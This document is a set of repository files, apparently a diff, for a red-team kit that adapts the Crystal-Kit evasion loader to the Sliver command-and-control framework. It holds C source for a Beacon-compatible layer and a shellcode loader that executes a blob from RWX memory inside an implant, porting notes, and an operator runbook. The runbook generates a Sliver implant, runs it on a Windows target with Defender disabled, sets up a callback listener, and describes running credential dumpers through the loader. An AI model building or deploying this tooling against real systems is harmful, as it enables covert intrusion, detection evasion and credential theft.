/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
@@ -0,0 +1,402 @@
/*
* Cobalt Strike 4.X BOF compatibility layer
* -----------------------------------------
* The whole point of these files are to allow beacon object files built for CS
* to run fine inside of other tools without recompiling.
*
* Built off of the beacon.h file provided to build for CS.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#ifdef _WIN32
#include <windows.h>
#include "beacon_compatibility.h"
#define DEFAULTPROCESSNAME "rundll32.exe"
#ifdef _WIN64
#define X86PATH "SysWOW64"
#define X64PATH "System32"
#else
#define X86PATH "System32"
#define X64PATH "sysnative"
#endif
/* Data Parsing */
unsigned char* InternalFunctions[30][2] = {
{(unsigned char*)"BeaconDataParse", (unsigned char*)BeaconDataParse},
{(unsigned char*)"BeaconDataInt", (unsigned char*)BeaconDataInt},
{(unsigned char*)"BeaconDataShort", (unsigned char*)BeaconDataShort},
{(unsigned char*)"BeaconDataLength", (unsigned char*)BeaconDataLength},
{(unsigned char*)"BeaconDataExtract", (unsigned char*)BeaconDataExtract},
{(unsigned char*)"BeaconFormatAlloc", (unsigned char*)BeaconFormatAlloc},
{(unsigned char*)"BeaconFormatReset", (unsigned char*)BeaconFormatReset},
{(unsigned char*)"BeaconFormatFree", (unsigned char*)BeaconFormatFree},
{(unsigned char*)"BeaconFormatAppend", (unsigned char*)BeaconFormatAppend},
{(unsigned char*)"BeaconFormatPrintf", (unsigned char*)BeaconFormatPrintf},
{(unsigned char*)"BeaconFormatToString", (unsigned char*)BeaconFormatToString},
{(unsigned char*)"BeaconFormatInt", (unsigned char*)BeaconFormatInt},
{(unsigned char*)"BeaconPrintf", (unsigned char*)BeaconPrintf},
{(unsigned char*)"BeaconOutput", (unsigned char*)BeaconOutput},
{(unsigned char*)"BeaconUseToken", (unsigned char*)BeaconUseToken},
{(unsigned char*)"BeaconRevertToken", (unsigned char*)BeaconRevertToken},
{(unsigned char*)"BeaconIsAdmin", (unsigned char*)BeaconIsAdmin},
{(unsigned char*)"BeaconGetSpawnTo", (unsigned char*)BeaconGetSpawnTo},
{(unsigned char*)"BeaconSpawnTemporaryProcess", (unsigned char*)BeaconSpawnTemporaryProcess},
{(unsigned char*)"BeaconInjectProcess", (unsigned char*)BeaconInjectProcess},
{(unsigned char*)"BeaconInjectTemporaryProcess", (unsigned char*)BeaconInjectTemporaryProcess},
{(unsigned char*)"BeaconCleanupProcess", (unsigned char*)BeaconCleanupProcess},
{(unsigned char*)"toWideChar", (unsigned char*)toWideChar},
{(unsigned char*)"LoadLibraryA", (unsigned char*)LoadLibraryA},
{(unsigned char*)"GetProcAddress", (unsigned char*)GetProcAddress},
{(unsigned char*)"GetModuleHandleA", (unsigned char*)GetModuleHandleA},
{(unsigned char*)"FreeLibrary", (unsigned char*)FreeLibrary},
{(unsigned char*)"__C_specific_handler", NULL}
};
uint32_t swap_endianess(uint32_t indata) {
uint32_t testint = 0xaabbccdd;
uint32_t outint = indata;
if (((unsigned char*)&testint)[0] == 0xdd) {
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
}
return outint;
}
char* beacon_compatibility_output = NULL;
int beacon_compatibility_size = 0;
int beacon_compatibility_offset = 0;
void BeaconDataParse(datap* parser, char* buffer, int size) {
if (parser == NULL || buffer == NULL) {
return;
}
parser->original = buffer;
parser->buffer = buffer;
parser->length = size - 4;
parser->size = size - 4;
parser->buffer += 4;
return;
}
int BeaconDataInt(datap* parser) {
if (parser == NULL) {
return 0;
}
int32_t fourbyteint = 0;
if (parser->length < 4) {
return 0;
}
memcpy(&fourbyteint, parser->buffer, 4);
parser->buffer += 4;
parser->length -= 4;
return (int)fourbyteint;
}
short BeaconDataShort(datap* parser) {
if (parser == NULL) {
return 0;
}
int16_t retvalue = 0;
if (parser->length < 2) {
return 0;
}
memcpy(&retvalue, parser->buffer, 2);
parser->buffer += 2;
parser->length -= 2;
return (short)retvalue;
}
int BeaconDataLength(datap* parser) {
if (parser == NULL) {
return 0;
}
return parser->length;
}
char* BeaconDataExtract(datap* parser, int* size) {
if (parser == NULL) {
return NULL;
}
uint32_t length = 0;
char* outdata = NULL;
/*Length prefixed binary blob, going to assume uint32_t for this.*/
if (parser->length < 4) {
return NULL;
}
memcpy(&length, parser->buffer, 4);
parser->buffer += 4;
outdata = parser->buffer;
if (outdata == NULL) {
return NULL;
}
parser->length -= 4;
parser->length -= length;
parser->buffer += length;
if (size != NULL && outdata != NULL) {
*size = length;
}
return outdata;
}
/* format API */
void BeaconFormatAlloc(formatp* format, int maxsz) {
if (format == NULL) {
return;
}
format->original = calloc(maxsz, 1);
format->buffer = format->original;
format->length = 0;
format->size = maxsz;
return;
}
void BeaconFormatReset(formatp* format) {
if (format == NULL) {
return;
}
memset(format->original, 0, format->size);
format->buffer = format->original;
format->length = format->size;
return;
}
void BeaconFormatFree(formatp* format) {
if (format == NULL) {
return;
}
if (format->original) {
free(format->original);
format->original = NULL;
}
format->buffer = NULL;
format->length = 0;
format->size = 0;
return;
}
void BeaconFormatAppend(formatp* format, char* text, int len) {
if (format == NULL || text == NULL) {
return;
}
memcpy(format->buffer, text, len);
format->buffer += len;
format->length += len;
return;
}
void BeaconFormatPrintf(formatp* format, char* fmt, ...) {
if (format == NULL || fmt == NULL) {
return;
}
/*Take format string, and sprintf it into here*/
va_list args;
int length = 0;
va_start(args, fmt);
length = vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (format->length + length + 1 > format->size) {
return;
}
va_start(args, fmt);
(void)vsnprintf(format->buffer, length + 1, fmt, args);
va_end(args);
format->length += length;
format->buffer += length;
return;
}
char* BeaconFormatToString(formatp* format, int* size) {
if (format == NULL || size == NULL) {
return NULL;
}
*size = format->length;
return format->original;
}
void BeaconFormatInt(formatp* format, int value) {
if (format == NULL) {
return;
}
uint32_t indata = value;
uint32_t outdata = 0;
if (format->length + 4 > format->size) {
return;
}
outdata = swap_endianess(indata);
memcpy(format->buffer, &outdata, 4);
format->length += 4;
format->buffer += 4;
return;
}
/* Main output functions */
void BeaconPrintf(int type, char* fmt, ...) {
if (fmt == NULL) {
return;
}
/* Change to maintain internal buffer, and return after done running. */
int length = 0;
char* tempptr = NULL;
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
va_start(args, fmt);
length = vsnprintf(NULL, 0, fmt, args);
va_end(args);
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + length + 1);
if (tempptr == NULL) {
return;
}
beacon_compatibility_output = tempptr;
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, length + 1);
va_start(args, fmt);
length = vsnprintf(beacon_compatibility_output + beacon_compatibility_offset, length +1, fmt, args);
beacon_compatibility_size += length;
beacon_compatibility_offset += length;
va_end(args);
return;
}
void BeaconOutput(int type, char* data, int len) {
if (data == NULL) {
return;
}
char* tempptr = NULL;
tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + len + 1);
beacon_compatibility_output = tempptr;
if (tempptr == NULL) {
return;
}
memset(beacon_compatibility_output + beacon_compatibility_offset, 0, len + 1);
memcpy(beacon_compatibility_output + beacon_compatibility_offset, data, len);
beacon_compatibility_size += len;
beacon_compatibility_offset += len;
return;
}
/* Token Functions */
BOOL BeaconUseToken(HANDLE token) {
/* Probably needs to handle DuplicateTokenEx too */
SetThreadToken(NULL, token);
return TRUE;
}
void BeaconRevertToken(void) {
if (!RevertToSelf()) {
#ifdef DEBUG
printf("RevertToSelf Failed!\n");
#endif
}
return;
}
BOOL BeaconIsAdmin(void) {
/* Leaving this to be implemented by people needing it */
#ifdef DEBUG
printf("BeaconIsAdmin Called\n");
#endif
return FALSE;
}
/* Injection/spawning related stuffs
*
* These functions are basic place holders, and if implemented into something
* real should be just calling internal functions for your tools. */
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length) {
char* tempBufferPath = NULL;
if (buffer == NULL) {
return;
}
if (x86) {
tempBufferPath = "C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME;
}
else {
tempBufferPath = "C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME;
}
if ((int)strlen(tempBufferPath) > length) {
return;
}
memcpy(buffer, tempBufferPath, strlen(tempBufferPath));
return;
}
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo) {
BOOL bSuccess = FALSE;
if (x86) {
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
}
else {
bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
}
return bSuccess;
}
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len) {
/* Leaving this to be implemented by people needing/wanting it */
return;
}
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len) {
/* Leaving this to be implemented by people needing/wanting it */
return;
}
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo) {
if (pInfo != NULL) {
(void)CloseHandle(pInfo->hThread);
(void)CloseHandle(pInfo->hProcess);
}
return;
}
BOOL toWideChar(char* src, wchar_t* dst, int max) {
if (max < sizeof(wchar_t))
return FALSE;
return MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
}
char* BeaconGetOutputData(int *outsize) {
if (outsize == NULL) {
return NULL;
}
char* outdata = beacon_compatibility_output;
*outsize = beacon_compatibility_size;
beacon_compatibility_output = NULL;
beacon_compatibility_size = 0;
beacon_compatibility_offset = 0;
return outdata;
}
#endif
@@ -0,0 +1,66 @@
/*
* Cobalt Strike 4.X BOF compatibility layer
* -----------------------------------------
* The whole point of these files are to allow beacon object files built for CS
* to run fine inside of other tools without recompiling.
*
* Built off of the beacon.h file provided to build for CS.
*/
#ifndef BEACON_COMPATIBILITY_H_
/* Structures as is in beacon.h */
extern unsigned char* InternalFunctions[30][2];
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
void BeaconDataParse(datap * parser, char * buffer, int size);
int BeaconDataInt(datap * parser);
short BeaconDataShort(datap * parser);
int BeaconDataLength(datap * parser);
char * BeaconDataExtract(datap * parser, int * size);
void BeaconFormatAlloc(formatp * format, int maxsz);
void BeaconFormatReset(formatp * format);
void BeaconFormatFree(formatp * format);
void BeaconFormatAppend(formatp * format, char * text, int len);
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
char * BeaconFormatToString(formatp * format, int * size);
void BeaconFormatInt(formatp * format, int value);
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
void BeaconPrintf(int type, char * fmt, ...);
void BeaconOutput(int type, char * data, int len);
/* Token Functions */
BOOL BeaconUseToken(HANDLE token);
void BeaconRevertToken();
BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo);
void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
BOOL toWideChar(char * src, wchar_t * dst, int max);
uint32_t swap_endianess(uint32_t indata);
char* BeaconGetOutputData(int *outsize);
#endif
@@ -0,0 +1,103 @@
/*
* crystal-loader.c
*
* Sliver Extension DLL that loads and executes a Crystal Palace PICO blob
* inside the Sliver implant memory.
*
* Sliver Extension entrypoint contract (matches COFFLoader's LoadAndRun):
* int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
*
* argsBuffer layout (BeaconData serialization, single extract):
* [pico_len: int32_le][pico_bytes: pico_len]
*
* PICO entrypoint convention:
* The PICO is produced from postex-loader/loader.spec which uses
* '+gofirst' so the symbol 'go' is placed at offset 0. The signature
* matches postex-loader/src/loader.c:75:
* void go(void * loader_arguments);
* loader_arguments is unused after the Xenon patch (CS-specific path
* commented out) — we pass NULL.
*
* Copyright (c) 2026 Simone Licitra
* Licensed under the MIT License (see ../../../LICENSE).
*/
#include <windows.h>
#include <stdint.h>
#include <string.h>
#include "beacon_compatibility.h"
#ifndef EXPORT
#define EXPORT __declspec(dllexport)
#endif
typedef int (*goCallback)(char *, int);
typedef void (*pico_entry_t)(void *);
static void emit(goCallback cb, const char *msg)
{
if (cb == NULL) return;
cb((char *)msg, (int)strlen(msg));
}
EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
{
datap parser;
int pico_size = 0;
unsigned char *pico_data = NULL;
if (argsBuffer == NULL || bufferSize == 0) {
emit(callback, "[crystal-loader] error: empty argsBuffer\n");
return 1;
}
BeaconDataParse(&parser, argsBuffer, (int)bufferSize);
pico_data = (unsigned char *)BeaconDataExtract(&parser, &pico_size);
if (pico_data == NULL || pico_size <= 0) {
emit(callback, "[crystal-loader] error: no PICO blob in arguments\n");
return 2;
}
/*
* Allocate RWX. The PICO does its own VirtualProtect calls internally
* (see postex-loader/src/loader.c fix_section_permissions). Starting
* RWX simplifies the bootstrap; the PICO will lock down permissions
* per-section as it loads the embedded DLL.
*/
void *pico_mem = VirtualAlloc(
NULL,
(SIZE_T)pico_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (pico_mem == NULL) {
emit(callback, "[crystal-loader] error: VirtualAlloc failed\n");
return 3;
}
memcpy(pico_mem, pico_data, (size_t)pico_size);
emit(callback, "[crystal-loader] executing PICO\n");
pico_entry_t entry = (pico_entry_t)pico_mem;
entry(NULL);
/*
* Intentionally NOT freeing pico_mem. Crystal Palace's loader chain
* keeps hooks, sleep mask and Draugr stack-spoof resident next to
* the loaded DLL for the entire beacon lifetime.
*/
emit(callback, "[crystal-loader] PICO returned\n");
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
(void)hinstDLL;
(void)lpvReserved;
(void)fdwReason;
return TRUE;
}
@@ -0,0 +1,18 @@
; smoketest.asm
;
; Minimal x64 shellcode used to validate the crystal-loader.x64.dll wrapper
; on a Sliver implant WITHOUT depending on Crystal Palace.
;
; Signature expected by the wrapper: void entry(void* unused).
; This shellcode immediately returns, so the wrapper's plumbing
; (BeaconDataParse + VirtualAlloc + exec + return) can be exercised
; end-to-end on a Windows lab target.
;
; Build: nasm -f bin smoketest.asm -o smoketest.bin
BITS 64
_start:
; Microsoft x64 ABI: first arg in RCX (unused here).
xor eax, eax ; return 0
ret
+199
View File
@@ -0,0 +1,199 @@
# Porting Map — Crystal-Kit → crystal-kit-sliver
File-by-file mapping of upstream sources to this repository, with the literal Xenon-style patch applied to `postex-loader/`. Read this together with the project README before modifying any file under `loader/` or `postex-loader/`.
**Verified upstreams (snapshot @ 2026-04-03):**
- `rasta-mouse/Crystal-Kit` (MIT) — base implementation for Cobalt Strike
- `nickswink/Crystal-Kit-Xenon` (MIT) — cross-C2 patch template for Mythic Xenon, applies 1:1 to Sliver
## 1. Inventory and action per file
### `loader/` (main reflective loader — Use case A)
Every file is a **verbatim copy** of the same path in `rasta-mouse/Crystal-Kit/loader/`. No modifications.
| File | Action |
|---|---|
| `Makefile` | copy 1:1 |
| `loader.spec` | copy 1:1 |
| `local-loader.spec` | copy 1:1 |
| `pico.spec` | copy 1:1 |
| `src/loader.c` + `loader.h` | copy 1:1 |
| `src/services.c` | copy 1:1 |
| `src/hooks.c` | copy 1:1 |
| `src/spoof.c` + `spoof.h` | copy 1:1 |
| `src/mask.c` + `mask.h` | copy 1:1 |
| `src/cleanup.c` + `cleanup.h` | copy 1:1 |
| `src/cfg.c` + `cfg.h` | copy 1:1 |
| `src/pico.c` | copy 1:1 |
| `src/draugr.asm` | copy 1:1 |
| `src/memory.h`, `tcg.h` | copy 1:1 |
### `postex-loader/` (post-ex loader — Use case B)
Copied from `rasta-mouse/Crystal-Kit/postex-loader/` with **two patched files**. The patches are identical to `nickswink/Crystal-Kit-Xenon/postex-loader/` and replace Cobalt-Strike-specific glue with the Sliver-compatible variant.
| File | Action |
|---|---|
| `Makefile` | copy 1:1 |
| `loader.spec` | **patched** (§2.1) |
| `pico.spec` | copy 1:1 |
| `src/loader.c` | **patched** (§2.2) |
| `src/loader.h` | copy 1:1 |
| `src/services.c`, `hooks.c`, `spoof.c` + `.h`, `draugr.asm` | copy 1:1 |
| `src/cleanup.c` + `.h`, `cfg.c` + `.h`, `pico.c` | copy 1:1 |
| `src/hash.h` | copy 1:1 (ror13 constants) |
| `src/memory.h`, `tcg.h` | copy 1:1 |
### Root-level upstream files
| File | Action | Note |
|---|---|---|
| `Makefile` (top-level) | not copied | upstream version only chains into `loader/` and `postex-loader/`; replaced by our `sliver-glue/Makefile` |
| `README.md` | replaced | new README in repo root + per-project README under `crystal-kit-sliver/` |
| `LICENSE` | replaced | new MIT LICENSE under Simone Licitra; upstream rasta-mouse and nickswink MIT notices preserved in `NOTICE.md` |
| `crystalkit.cna` | **NOT copied** | Aggressor Script is Cobalt-Strike-only; replaced by `sliver-glue/extension.json` + scripts |
| `crystalkit.yar` | not copied (optional) | YARA self-detection rule; can be regenerated with Crystal Palace `-g` flag if needed |
| `libtcg.x64.zip` | kept in tree | binary dependency referenced as `../libtcg.x64.zip` by both spec files; located at `crystal-kit-sliver/libtcg.x64.zip` |
| `.gitattributes`, `.gitignore` | replaced | repo-specific |
## 2. Literal patches in `postex-loader/`
Both patches are byte-identical to `nickswink/Crystal-Kit-Xenon` and verified locally with `diff -u`.
### 2.1 `postex-loader/loader.spec`
```diff
--- crystal-kit/postex-loader/loader.spec
+++ crystal-kit-sliver/postex-loader/loader.spec
@@ -6,13 +6,9 @@
load "bin/services.x64.o"
merge
- dfr "patch_resolve" "strings"
+ dfr "patch_resolve" "ror13"
mergelib "../libtcg.x64.zip"
- # patch smart pointers in
- patch "get_module_handle" $GMH
- patch "get_proc_address" $GPA
-
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
@@ -42,6 +38,11 @@
preplen
link "mask"
+ # DLL Args from File
+ load %ARGFILE
+ preplen
+ link "dll_args"
+
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
```
**Per-line rationale:**
| Line change | Why |
|---|---|
| `dfr "patch_resolve" "strings"``"ror13"` | Cobalt Strike injects pre-resolved smart pointers (`$GMH`, `$GPA`) at build time, so `strings` mode is fine there. Sliver does not, so we need runtime ror13 hash resolution. |
| `patch "get_module_handle" $GMH` | Removed. `$GMH` is a CS smart pointer; Sliver has nothing equivalent. |
| `patch "get_proc_address" $GPA` | Removed. Same reason as above for `$GPA`. |
| `load %ARGFILE … link "dll_args"` | Added. The post-ex DLL's runtime arguments are baked into a `dll_args` section at link time, read by the loader via `GETRESOURCE` at execution. |
### 2.2 `postex-loader/src/loader.c`
```diff
--- crystal-kit/postex-loader/src/loader.c (139 lines)
+++ crystal-kit-sliver/postex-loader/src/loader.c (143 lines)
@@ -10,6 +10,7 @@
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
+char _DLLARGS_ [ 0 ] __attribute__ ( ( section ( "dll_args" ) ) );
int __tag_setup_hooks ( );
int __tag_setup_memory ( );
@@ -132,9 +133,12 @@
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
+ /* Pointer to DLL arguments */
+ char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
+
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
- entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
- entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments );
+ entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, dll_arguments );
+ // entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
}
```
**Per-line rationale:**
| Line | Why |
|---|---|
| `_DLLARGS_` section attribute | Declares an empty 0-length array tied to the `dll_args` section so the linker can emit a symbol the loader can address. |
| `dll_arguments = GETRESOURCE(_DLLARGS_)` | Reads the section data at runtime. `GETRESOURCE` is a macro defined in `memory.h` (upstream). |
| `DllMain(... , dll_arguments)` | Forwards the embedded arguments as `lpReserved` of `DllMain`. The wrapped DLL can ignore them or parse them. |
| Second `entry_point(... , 0x4, loader_arguments)` commented out | Reason code `0x4` is a Beacon-specific second entrypoint used by Cobalt Strike post-ex DLLs (e.g. `RDLL_GENERATE` callback). Sliver does not need it. |
**Whitespace note:** the `dll_arguments` line in the Xenon fork uses a TAB instead of 4 spaces, and the file has no trailing newline. Preserved verbatim for byte-identity with the upstream fork.
## 3. CS-specific concepts → Sliver mapping
| Cobalt Strike concept | Where it lives in CS | Sliver equivalent |
|---|---|---|
| `BEACON_RDLL_GENERATE` Aggressor hook | Server-side script run during stager generation | Build-time wrapper script: `sliver-glue/generate-implant.sh` |
| `POSTEX_RDLL_GENERATE` Aggressor hook | Server-side script run during post-ex DLL generation | Build-time wrapper script: `sliver-glue/generate.sh` |
| `BEACON_RDLL_GENERATE_LOCAL` | Stageless variant | Same script with `--profile` mode (or `--dll`) |
| `$GMH` smart pointer (kernel32!GetModuleHandleA) | Injected at build time | None — resolved at runtime via ror13 hash |
| `$GPA` smart pointer (kernel32!GetProcAddress) | Injected at build time | None — same as above |
| `$DLL` | Beacon DLL passed by CS server | Sliver implant DLL passed by `generate-implant.sh` |
| `$MASK` | XOR key generated by Crystal Palace | Identical — generated in `.spec` with `generate $MASK 128` |
| `%ARGFILE` (introduced by Xenon) | Path to args file at build time | Identical — passed as positional `%ARGFILE=...` to `./link` |
| `DllMain` reason `0x4` | CS Beacon post-ex second call | Inexistent on Sliver — commented out in `loader.c` |
## 4. Sliver Extension model
The post-ex pipeline (Use case B) produces a PICO `.bin`, but Sliver Extensions are loaded as DLLs into the implant runtime. The bridge is `crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c`:
- exports a single function `go(char *argsBuffer, uint32_t bufferSize, goCallback callback)` matching COFFLoader's `LoadAndRun` signature
- parses `argsBuffer` via `BeaconDataParse` / `BeaconDataExtract` (BOF compatibility layer from TrustedSec COFFLoader, BSD-3-Clause)
- allocates RWX memory, copies the PICO blob, jumps to offset 0 (the `+gofirst` flag in `loader.spec` guarantees the `go` symbol lands there)
The manifest `crystal-kit-sliver/sliver-glue/extension.json` declares:
```json
{
"name": "crystal-loader",
"command_name": "crystal",
"entrypoint": "go",
"files": [{"os":"windows","arch":"amd64","path":"crystal-loader.x64.dll"}],
"arguments": [{"name":"payload","type":"file","optional":false}]
}
```
Schema validated against the live `sliverarmory/CredManBOF` and `sliverarmory/COFFLoader` manifests at the time of writing.
## 5. Files that fix at packaging time
| Sliver-glue file | Produced by | Consumed by |
|---|---|---|
| `crystal-loader.x64.dll` | `sliver-glue/wrapper/Makefile` | Sliver implant runtime |
| `crystal-loader-0.1.0.tar.gz` | `sliver-glue/pack-extension.sh` | Sliver client `extensions install` |
| `<name>.crystal.bin` (PICO) | `sliver-glue/generate-implant.sh` or `generate.sh` | Crystal Palace stager (`run.x64.exe`) or `crystal` Sliver command |
| `drop.zip` | `sliver-glue/bundle-implant.sh` | Operator manual delivery to target |
## 6. Attribution checklist (required by upstream licenses)
- `NOTICE.md` reproduces copyright notices for rasta-mouse (Crystal-Kit), nickswink (Crystal-Kit-Xenon), TrustedSec (COFFLoader BOF compat), Raphael Mudge / AFF-WG (Crystal Palace), plus bundled iced (MIT) and JSON-java (CC0).
- Source files copied verbatim retain their original copyright headers where present.
- `crystal-loader.c` carries a fresh MIT header (Simone Licitra) since it is newly written.
+355
View File
@@ -0,0 +1,355 @@
# Runbook — Operator Procedure (Kali → Windows lab)
End-to-end procedure to build the kit on Kali and execute on a Windows x64 lab target. Two distinct use cases:
- **Use case A (PRIMARY)** — implant evasion. The Sliver DLL is wrapped with Crystal Palace into a PICO and delivered with a stager. The raw Sliver DLL never touches disk on the target.
- **Use case B (SECONDARY)** — post-ex evasion. With a session already active, run sensitive DLLs (recon, credential dumpers) through Crystal Palace via the Sliver Extension.
The two flows share the same build pipeline and Crystal Palace distribution but produce different artifacts.
---
## Phase 0 — One-time setup on Kali
### 0.1 Install toolchain
```bash
sudo apt update
sudo apt install -y mingw-w64 nasm default-jdk make zip git curl
```
Verify:
```bash
x86_64-w64-mingw32-gcc --version | head -1 # MinGW-w64 GCC
nasm --version # >= 2.15
java -version # >= 11
```
### 0.2 Get the repo on Kali
(Whatever transfer method you chose: `rsync`, USB, private Git remote, etc.)
```bash
cd ~/crystal-kit-sliver
ls # should see README.md, crystal-kit-sliver/, docs/, LICENSE, NOTICE.md
```
### 0.3 Download Crystal Palace dist (BSD, Raphael Mudge)
```bash
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
```
Sanity check:
```bash
ls "$CRYSTAL_PALACE_HOME"/crystalpalace.jar
"$CRYSTAL_PALACE_HOME"/link 2>&1 | head -3
```
Expected: `Usage: ./link <loader.spec> <file.dll|file.o> <out.bin> ...`
### 0.4 Get `libtcg.x64.zip` from upstream Crystal-Kit
```bash
git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck
cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/
rm -rf /tmp/ck
ls -la crystal-kit-sliver/libtcg.x64.zip
```
### 0.5 Install Sliver
```bash
curl https://sliver.sh/install | sudo bash
sudo systemctl enable --now sliver
sliver-server
```
Inside the `sliver-server` console:
```
[server] sliver > new-operator --name operator1 --lhost <kali-ip>
# saves operator1_<host>.cfg in the working dir
[server] sliver > exit
```
In another terminal:
```bash
sliver-client import ./operator1_<host>.cfg
sliver-client
```
### 0.6 Prepare the Windows VM
- Windows 10/11 x64, isolated network with the Kali host
- Defender disabled or with the build dir excluded **only for the first smoke test** (to factor out detection from the wrapper plumbing)
- Network reachability from VM → Kali on the listener port you'll use (80 by default)
---
## Phase 1 — Smoke test (validate the wrapper, no Crystal Palace yet)
Goal: prove that the `crystal-loader.x64.dll` Sliver Extension loads inside the implant and executes an arbitrary shellcode passed as argument. Does **not** require `crystalpalace.jar`.
### 1.1 Build the wrapper + smoke shellcode
```bash
cd crystal-kit-sliver/sliver-glue
make -C wrapper all
make -C wrapper smoketest
./pack-extension.sh
ls -la build/
```
Expected files:
- `crystal-loader.x64.dll` (~114 KB, in `sliver-glue/` parent)
- `build/smoketest.bin` (3 bytes: `31 c0 c3` = `xor eax,eax; ret`)
- `build/crystal-loader-0.1.0.tar.gz` (~37 KB)
### 1.2 Start an HTTP listener
In the Sliver client:
```
sliver > http -L 0.0.0.0 -l 80
[*] Started HTTP listener (job 1)
```
### 1.3 Generate a standard (unwrapped) Sliver implant for the smoke test
For Phase 1 only, we want a working implant **without** Crystal Palace so we can isolate the Extension's behaviour from any loader issue.
```
sliver > profiles new --http <kali-ip>:80 --format shared smoke
sliver > profiles generate --profile smoke --save /tmp/smoke.dll
```
### 1.4 Run the implant on the Windows VM
Copy `/tmp/smoke.dll` to the VM and load it:
```cmd
C:\> rundll32.exe smoke.dll,RunDLL
```
Wait for the session in the Sliver console:
```
[*] Session 1 - WIN10-LAB ...
sliver > use 1
sliver (WIN10-LAB) >
```
### 1.5 Install the Extension and run the smoke test
```
sliver (WIN10-LAB) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz
[*] Installed extension: crystal-loader
sliver (WIN10-LAB) > crystal payload=./crystal-kit-sliver/sliver-glue/build/smoketest.bin
[crystal-loader] executing PICO
[crystal-loader] PICO returned
```
If you see those two lines and the implant survives, the Extension plumbing works end-to-end.
### 1.6 Common Phase 1 failures
| Symptom | Likely cause | Fix |
|---|---|---|
| `extensions install` fails with JSON error | Manifest schema drift | Compare `extension.json` against a live armory extension (e.g. `sliverarmory/COFFLoader`) |
| `crystal` command not registered | Silent install failure | `extensions list` — if absent, re-run install with `--force` |
